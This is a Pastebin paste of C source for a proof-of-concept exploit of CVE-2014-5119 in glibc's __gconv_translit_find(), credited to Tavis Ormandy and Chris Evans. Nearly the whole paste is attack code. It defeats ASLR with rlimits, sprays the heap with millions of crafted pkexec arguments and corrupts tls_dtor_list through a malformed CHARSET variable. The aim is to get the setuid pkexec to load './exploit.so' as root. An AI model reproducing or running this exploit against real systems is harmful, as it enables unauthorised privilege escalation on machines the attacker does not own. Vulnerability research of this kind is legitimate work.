Advertisement
Guest User

dzzt

a guest
Aug 29th, 2014
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.12 KB | None | 0 0
  1. //
  2. // Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz
  3. //
  4. //
  5. // ---------------------------------------------------
  6. // CVE-2014-5119 glibc __gconv_translit_find() exploit
  7. // ------------------------ taviso & scarybeasts -----
  8. //
  9. // Tavis Ormandy <taviso@cmpxhg8b.com>
  10. // Chris Evans <scarybeasts@gmail.com>
  11. //
  12. // Monday 25th August, 2014
  13. //
  14.  
  15. #define _GNU_SOURCE
  16. #include <err.h>
  17. #include <stdio.h>
  18. #include <fcntl.h>
  19. #include <errno.h>
  20. #include <dlfcn.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23. #include <unistd.h>
  24. #include <stdint.h>
  25. #include <assert.h>
  26. #include <stdarg.h>
  27. #include <stddef.h>
  28. #include <signal.h>
  29. #include <string.h>
  30. #include <termios.h>
  31. #include <stdbool.h>
  32. #include <sys/user.h>
  33. #include <sys/stat.h>
  34. #include <sys/ioctl.h>
  35. #include <sys/types.h>
  36. #include <sys/ptrace.h>
  37. #include <sys/utsname.h>
  38. #include <sys/resource.h>
  39.  
  40. // Minimal environment to trigger corruption in __gconv_translit_find().
  41. static char * const kCorruptCharsetEnviron[] = {
  42. "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  43. NULL,
  44. };
  45.  
  46. static const struct rlimit kRlimMax = {
  47. .rlim_cur = RLIM_INFINITY,
  48. .rlim_max = RLIM_INFINITY,
  49. };
  50.  
  51. static const struct rlimit kRlimMin = {
  52. .rlim_cur = 1,
  53. .rlim_max = 1,
  54. };
  55.  
  56. // A malloc chunk header.
  57. typedef struct {
  58. size_t prev_size;
  59. size_t size;
  60. uintptr_t fd;
  61. uintptr_t bk;
  62. uintptr_t fd_nextsize;
  63. uintptr_t bk_nextsize;
  64. } mchunk_t;
  65.  
  66. // A tls_dtor_list node.
  67. typedef struct {
  68. uintptr_t func;
  69. uintptr_t obj;
  70. uintptr_t map;
  71. uintptr_t next;
  72. } dlist_t;
  73.  
  74. // The known_trans structure glibc uses for transliteration modules.
  75. typedef struct {
  76. uint8_t info[32];
  77. char *fname;
  78. void *handle;
  79. int open_count;
  80. } known_t;
  81.  
  82. enum {
  83. LOG_DEBUG,
  84. LOG_WARN,
  85. LOG_ERROR,
  86. LOG_FATAL,
  87. };
  88.  
  89. // Round up an integer to the next PAGE_SIZE boundary.
  90. static inline uintptr_t next_page_size(uintptr_t size)
  91. {
  92. return (size + PAGE_SIZE - 1) & PAGE_MASK;
  93. }
  94.  
  95. // Allocate a buffer of specified length, starting with s, containing c, terminated with t.
  96. static void * alloc_repeated_string(size_t length, int s, int c, int t)
  97. {
  98. return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1);
  99. }
  100.  
  101. static void logmessage(int level, const char * format, ...)
  102. {
  103. va_list ap;
  104.  
  105. switch (level) {
  106. case LOG_DEBUG: fprintf(stderr, "[*] "); break;
  107. case LOG_WARN: fprintf(stderr, "[*] "); break;
  108. case LOG_ERROR: fprintf(stderr, "[!] "); break;
  109. }
  110.  
  111. va_start(ap, format);
  112. vfprintf(stderr, format, ap);
  113. va_end(ap);
  114.  
  115. fputc('\n', stderr);
  116.  
  117. if (level == LOG_ERROR) {
  118. _exit(EXIT_FAILURE);
  119. }
  120. }
  121.  
  122. // Parse a libc malloc assertion message to extract useful pointers.
  123. //
  124. // Note, this isn't to defeat ASLR, it just makes it more portable across
  125. // different system configurations. ASLR is already nullified using rlimits,
  126. // although technically even that isn't necessary.
  127. static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr)
  128. {
  129. FILE *pty;
  130. char *mallocerror;
  131. char *memorymap;
  132. char *line;
  133. char *prev;
  134. char message[1 << 14];
  135. char *anon = NULL;
  136. char r, w, x, s;
  137. ssize_t count;
  138. int status;
  139. uintptr_t mapstart;
  140. uintptr_t mapend;
  141.  
  142. // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot
  143. // be changed in setuid programs, so this wrapper catches tty output.
  144. while (true) {
  145. // Reset any previous output.
  146. memset(message, 0, sizeof message);
  147.  
  148. logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)...");
  149.  
  150. if ((pty = popen("./pty", "r")) == NULL) {
  151. logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue");
  152. }
  153.  
  154. if ((count = fread(message, 1, sizeof message, pty)) <= 0) {
  155. logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message);
  156. }
  157.  
  158. logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count);
  159.  
  160. pclose(pty);
  161.  
  162. mallocerror = strstr(message, "corrupted double-linked list");
  163. memorymap = strstr(message, "======= Memory map: ========");
  164.  
  165. // Unfortunately this isn't reliable, keep trying until it works.
  166. if (mallocerror == NULL || memorymap == NULL) {
  167. logmessage(LOG_WARN, "expected output missing (this is normal), trying again...");
  168. continue;
  169. }
  170.  
  171. logmessage(LOG_DEBUG, "pseudo-pty helper succeeded");
  172. break;
  173. }
  174.  
  175. *baseaddr = 0;
  176. *chunkptr = 0;
  177. *bssaddr = 0;
  178. *libcaddr = 0;
  179.  
  180. logmessage(LOG_DEBUG, "attempting to parse libc fatal error message...");
  181.  
  182. // Verify this is a message we understand.
  183. if (!mallocerror || !memorymap) {
  184. logmessage(LOG_ERROR, "unable to locate required error messages in crash dump");
  185. }
  186.  
  187. // First, find the chunk pointer that malloc doesn't like
  188. if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) {
  189. logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror);
  190. };
  191.  
  192. logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr);
  193. logmessage(LOG_DEBUG, "attempting to parse the libc maps dump...");
  194.  
  195. // Second, parse maps.
  196. for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) {
  197. char filename[32];
  198.  
  199. // Reset filename.
  200. memset(filename, 0, sizeof filename);
  201.  
  202. // Just ignore the banner printed by glibc.
  203. if (strcmp(line, "======= Memory map: ========") == 0) {
  204. continue;
  205. }
  206.  
  207. if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) {
  208. // Record the last seen anonymous map, in case the kernel didn't tag the heap.
  209. if (strlen(filename) == 0) {
  210. anon = line;
  211. }
  212.  
  213. // If the kernel did tag the heap, then everything is easy.
  214. if (strcmp(filename, "[heap]") == 0) {
  215. logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart);
  216. *baseaddr = mapstart;
  217. }
  218.  
  219. // If it didn't tag the heap, then we need the anonymous chunk before the stack.
  220. if (strcmp(filename, "[stack]") == 0 && !*baseaddr) {
  221. logmessage(LOG_WARN, "no [heap] tag was found, using heuristic...");
  222. if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) {
  223. logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon);
  224. }
  225. logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr);
  226. }
  227.  
  228. if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') {
  229. logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart);
  230. *libcaddr = mapstart;
  231. }
  232.  
  233. // Try to find libc bss.
  234. if (strlen(filename) == 0 && mapend - mapstart == 0x102000) {
  235. logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart);
  236. *bssaddr = mapstart;
  237. }
  238. continue;
  239. }
  240.  
  241. logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line);
  242. break;
  243. }
  244.  
  245. return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0;
  246. }
  247.  
  248. static const size_t heap_chunk_start = 0x506c8008;
  249. static const size_t heap_chunk_end = 0x506c8008 + (2 * 1024 * 1024);
  250.  
  251. static const size_t nstrings = 15840000;
  252.  
  253. // The offset into libc-2.18.so BSS of tls_dtor_list.
  254. static const uintptr_t kTlsDtorListOffset = 0x12d4;
  255.  
  256. // The DSO we want to load as euid 0.
  257. static const char kExploitDso[] = "./exploit.so";
  258.  
  259. int main(int argc, const char* argv[])
  260. {
  261. uintptr_t baseaddr;
  262. uintptr_t chunkptr;
  263. uintptr_t bssaddr;
  264. uintptr_t libcaddr;
  265. uint8_t *param;
  266. char **args;
  267. dlist_t *chain;
  268. struct utsname ubuf;
  269.  
  270. // Look up host type.
  271. if (uname(&ubuf) != 0) {
  272. logmessage(LOG_ERROR, "failed to query kernel information");
  273. }
  274.  
  275. logmessage(LOG_DEBUG, "---------------------------------------------------");
  276. logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit");
  277. logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----");
  278.  
  279. // Print some warning that this isn't going to work on Ubuntu.
  280. if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0)
  281. logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20");
  282.  
  283. // Extract some useful pointers from glibc error output.
  284. if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) {
  285. logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again.");
  286. }
  287.  
  288. logmessage(LOG_DEBUG, "allocating space for argument structure...");
  289.  
  290. // This number of "-u" arguments is used to spray the heap.
  291. // Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern.
  292. // The value is just large enough to usuaully crash the heap into the stack without going OOM.
  293. if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) {
  294. logmessage(LOG_ERROR, "allocating argument structure failed");
  295. }
  296.  
  297. logmessage(LOG_DEBUG, "creating command string...");
  298.  
  299. args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0);
  300. args[nstrings * 2 + 2] = NULL;
  301.  
  302. logmessage(LOG_DEBUG, "creating a tls_dtor_list node...");
  303.  
  304. // The length 59 is chosen to cause a 64byte allocation by stdrup. That is
  305. // a 60 byte nul-terminated string, followed by 4 bytes of metadata.
  306. param = alloc_repeated_string(59, 'A', 'A', 0);
  307. chain = (void *) param;
  308.  
  309. logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF);
  310. logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname));
  311.  
  312. chain->func = libcaddr + _OPEN_TRANSLIT_OFF;
  313. chain->obj = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname);
  314. chain->map = baseaddr + 8 + sizeof(*chain);
  315. chain->next = baseaddr + 8 + 59 - strlen(kExploitDso);
  316.  
  317. logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso);
  318.  
  319. memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12);
  320.  
  321. logmessage(LOG_DEBUG, "building parameter list...");
  322. for (int i = 0; i < nstrings; ++i) {
  323. args[i*2 + 1] = "-u";
  324. args[i*2 + 2] = (void *) chain;
  325. }
  326.  
  327. // Verify we didn't sneak in a NUL.
  328. assert(memchr(chain, 0, sizeof(chain)) == NULL);
  329.  
  330. logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset);
  331.  
  332. // Spam all of possible chunks (some are unfortunately missed).
  333. for (int i = 0; true; i++) {
  334. uintptr_t chunksize = 64;
  335. uintptr_t chunkaddr = baseaddr + i * chunksize;
  336. uintptr_t targetpageoffset = chunkptr & ~PAGE_MASK;
  337. uintptr_t chunkpageoffset = PAGE_MASK;
  338. uintptr_t mmapbase = 31804 + ((0xFD8 - targetpageoffset) / 32);
  339. uint8_t *param = NULL;
  340. mchunk_t chunk = {
  341. .prev_size = 0xCCCCCCCC,
  342. .size = 0xDDDDDDDD,
  343. .fd_nextsize = bssaddr + kTlsDtorListOffset - 0x14,
  344. .bk_nextsize = baseaddr + 8,
  345. };
  346.  
  347. // Compensate for heap metadata every 1MB of allocations.
  348. chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize);
  349.  
  350. if (chunkaddr < heap_chunk_start)
  351. continue;
  352.  
  353. if (chunkaddr > heap_chunk_end)
  354. break;
  355.  
  356. chunkpageoffset = chunkaddr & ~PAGE_MASK;
  357.  
  358. if (chunkpageoffset > targetpageoffset) {
  359. continue;
  360. }
  361.  
  362. if (targetpageoffset - chunkpageoffset > chunksize) {
  363. continue;
  364. }
  365.  
  366. // Looks like this will fit, compensate the pointers for alignment.
  367. chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset);
  368.  
  369. if (memchr(&chunk, 0, sizeof chunk)) {
  370. logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i);
  371. continue;
  372. }
  373. args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0);
  374.  
  375. memcpy(param + (targetpageoffset - chunkpageoffset),
  376. &chunk,
  377. sizeof chunk);
  378. }
  379.  
  380. setrlimit(RLIMIT_STACK, &kRlimMax);
  381. setrlimit(RLIMIT_DATA, &kRlimMin);
  382.  
  383. args[0] = "pkexec";
  384.  
  385. logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]);
  386. execvpe("pkexec", args, kCorruptCharsetEnviron);
  387. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement